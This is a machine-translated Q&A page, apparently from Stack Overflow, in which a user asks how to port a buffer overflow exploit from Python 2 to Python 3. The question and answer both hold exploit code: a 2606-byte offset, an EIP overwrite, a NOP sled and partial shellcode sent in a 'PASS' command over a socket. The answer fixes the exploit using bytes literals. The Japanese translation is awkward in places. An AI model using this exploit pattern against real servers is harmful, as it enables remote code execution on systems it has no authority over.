2017-03-05 10 views
-1

での開発を悪用私が理解として、それは、Python 2.は私のpython 3で開発を悪用し、その実現のPython 3

を使用しているほど単純ではありませんが、これは主に、ソケットライブラリと追加byteデータ型によるものです。

例えば、私は、Python 3のコードに次のコードを変換する方法を見つけ出すことができませんでした:私は次のことを試してみました

--- SNIP --- 
shellcode = "" 
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a" 
--- SNIP --- 
offset = "A" * 2606 
eip = "\x43\x62\x4b\x5f" 
nop = "\x90" * 16 
padding = "C" 
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16) 
--- SNIP --- 
bytes_sent = sock.send("PASS {}\r\n".format(buff)) 
--- SNIP --- 

--- SNIP --- 
shellcode = "" 
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a" 
--- SNIP --- 
offset = "A" * 2606 
eip = "\x43\x62\x4b\x5f" 
nop = "\x90" * 16 
padding = "C" 
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16) 
--- SNIP --- 
bytes_sent = sock.send("PASS {}".format(buff).encode("UTF-8")) 
--- SNIP --- 

問題は\x90C2 90中になることです問題が私のコードから来ていることを理解するまでには数時間かかりました。私はこれもシェルコードを変更する可能性があると思う。

私は、Python 2のコードは、基本的にバイト文字列を構築Pythonの

+1

これは、2to3ツールがpython3にバンドルされていることに注意してください。このツールは、Python 2をPython 3コードに変換する作業のほとんどを自動的に行います。ここでも助けてくれるかもしれません。 – Pascal

+0

@SteffenUllrich私はその質問を投稿する場所がわからなかった、私はsecurity.stackexchange.comが正しい場所だと思ったが、プログラミング上の問題点がある。私はその質問を閉じて、それからstackoverflowで開くつもりです。 –

+0

私はこの質問をstackoverflowに転送しています。 –

答えて

1

でこれを行うための適切な方法を学びたいです。 Python 3では、'...'文字列リテラルは、代わりにUnicode文字列オブジェクトを構築します。 Pythonの3では

は、あなたがb'...'バイト文字列リテラルを使用して作成することができ、代わりにbytesオブジェクトをしたい:

# --- SNIP --- 
shellcode = b"" 
shellcode += b"\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a" 
# --- SNIP --- 
offset = b"A" * 2606 
eip = b"\x43\x62\x4b\x5f" 
nop = b"\x90" * 16 
padding = b"C" 
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16) 
# --- SNIP --- 
bytes_sent = sock.send(b"PASS %s\r\n" % buff) 
# --- SNIP --- 

bytes.format()方法はありませんが、%フォーマット操作はまだ使用可能です。

+0

この返事をありがとう。あなたは偶然、文字列変数をバイト変数に直接変換する方法を知っていますか? '.encode()'メソッドは私の '\ x90' nopsledを' C2 90'として送信します。 –

+0

@ AresS31: '\ xhh'エスケープ文字列は、バイトではなく、Latin-1 *コードポイント(Unicode U + 0000-U + 00FFの範囲のもの)を生成します。 Latin-1を使用してエンコードする必要があります。文字は、そのコーデックのバイトと1対1で対応します。ただし、ここでは「テキスト」を作成するのではなく、バイナリデータを作成しています。 「バイト」を使うことに固執する。 –

+0

コードはとにかく働いています、多くのおかげで@Martijin Pieters –